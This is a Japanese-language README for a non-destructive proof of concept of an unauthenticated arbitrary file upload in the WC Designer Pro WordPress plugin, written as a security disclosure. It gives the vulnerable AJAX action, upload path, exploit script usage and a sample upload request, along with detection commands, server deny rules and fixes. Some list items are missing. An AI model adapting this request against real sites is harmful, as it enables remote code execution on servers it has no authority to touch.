
WC Designer Pro WordPress プラグインに影響を及ぼす認証なし任意ファイルアップロードの脆弱性に対する非破壊的な概念実証(PoC)です。
WC Designer Pro には、WordPress の admin-ajax.php エンドポイントを介して公開される AJAX アクションに、認証なし任意ファイルアップロードの脆弱性が存在します。
影響を受けるハンドラーは、適切な認証、認可、拡張子の検証、MIME タイプの検証、サーバー側でのファイル名制限を実施せずに、ユーザーが制御するファイルメタデータとファイルコンテンツを処理します。
脆弱な構成では、認証されていない攻撃者がサーバーで実行可能なファイルを Web からアクセス可能なディレクトリにアップロードできる可能性があります。悪用に成功すると、Web サーバープロセスの権限でリモートコード実行が発生する可能性があります。
正確な影響を受けるバージョン範囲、CVE 識別子、CVSS スコアは、独立した検証が完了するまで公開しないでください。
悪用に成功すると、認証されていない攻撃者により以下が可能になる可能性があります:
最終的な影響は、Web サーバーの構成、PHP の実行ルール、ファイルシステムの権限、ホスティングプロバイダーが導入するセキュリティ管理策に依存します。
影響を受けるバージョン範囲は現在検証中です。
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
テストまたはベンダーの確認がその結論を裏付けない限り、すべてのバージョンが影響を受けると記載しないでください。
脆弱なアップロードフローは、以下の AJAX アクションに渡される攻撃者制御の値を信頼しているように見えます:
wcdp_save_canvas_design_ajax
リクエストには以下のようなファイルメタデータが含まれます:
サーバーが以下の管理策をすべて実施せずにこれらの値を受け入れる場合に、脆弱性が存在します:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
確認されたアップロードパスは以下の構造に従います:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
正確なパスは、プラグインのバージョン、WordPress の構成、サーバー環境によって異なる場合があります。
pipこの概念実証は、明示的な書面による許可なしに第三者システムに対して使用してはなりません。
リポジトリをクローンします:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
仮想環境を作成して有効化します:
python3 -m venv .venv
source .venv/bin/activate
Windows の場合:
python -m venv .venv
.venv\Scripts\Activate.ps1
依存関係をインストールします:
pip install -r requirements.txt
requirements.txt の例:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
概念実証は、許可を得た単一のラボ環境のテスト対象に対してのみ実行してください。
python3 exploit.py --url https://wordpress-lab.example
非破壊的な検証の場合:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
検証用ファイルの例:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
組み込みのヘルプコマンドを使用して、サポートされている引数を確認します:
python3 exploit.py --help
出力例:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
リクエストは以下を呼び出します:
action=wcdp_save_canvas_design_ajax
簡略化したリクエスト構造を以下に示します:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
この例では、意図的に実行不可のテキストファイルを使用しています。
リクエストが成功すると、以下のようなレスポンスが返される場合があります:
{
"userID": false,
"filesCMYK": [],
"success": true
}
レスポンスが成功しただけではリモートコード実行を証明できません。研究者は以下を個別に確認する必要があります:
推奨される検証手順は以下のとおりです:
.txt マーカーファイルを作成します。無害なマーカーファイルで脆弱性を実証できる場合は、Web シェルやコマンド実行ペイロードのアップロードは避けてください。
有効なレポートには以下を含める必要があります:
管理者は以下のディレクトリを検査してください:
/wp-content/uploads/wcdp-uploads/temp/
潜在的な兆候には以下が含まれます:
.php、.phtml、.phar などの実行可能ファイル。admin-ajax.php へのリクエスト。ログ検索の例:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
ファイルシステム検索の例:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
サイト管理者は以下を実施してください:
Nginx の場合、アップロードディレクトリ内での PHP 実行を拒否します:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Apache の場合、アップロードディレクトリ内に適切なルールを配置します:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
これらの管理策は多層防御の措置であり、脆弱なプラグインコード自体の修正を代替するものではありません。
プラグインのメンテナーは以下を実施してください:
current_user_can() を使用してユーザーの権限を検証します。wp_check_filetype_and_ext() を使用してファイルを検証します。このリポジトリは以下の目的にのみ使用することを意図しています:
明示的な許可なく、このコードを使用してシステムへのアクセス、変更、妨害、侵害を行わないでください。
作者は、この資料の許可のない使用、不正使用、または悪用について一切の責任を負いません。利用者は、適用される法律、契約、交戦規則、および調整された脆弱性開示の要件を遵守する単独の責任を負います。
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
仮の CVE を、採番された識別子であるかのように公開しないでください。
CVE が採番されたら、仮の記載を公式レコードに置き換えます:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
セキュリティ研究はリスクを生み出すのではなく、リスクを低減するものであるべきです。
許可を得たセキュリティテストのために m2hcz によって作成されました。
| プロパティ | 値 |
|---|
| 製品 | WC Designer Pro |
| プラットフォーム | WordPress |
| 脆弱性の種別 | 制限なし任意ファイルアップロード |
| CWE | CWE-434 |
| 認証の要否 | 不要 |
| ユーザー操作の要否 | 不要 |
| 潜在的な影響 | リモートコード実行 |
| 攻撃の複雑さ | 低 |
| 脆弱なコンポーネント | WordPress AJAX アップロードハンドラー |
| AJAX アクション | wcdp_save_canvas_design_ajax |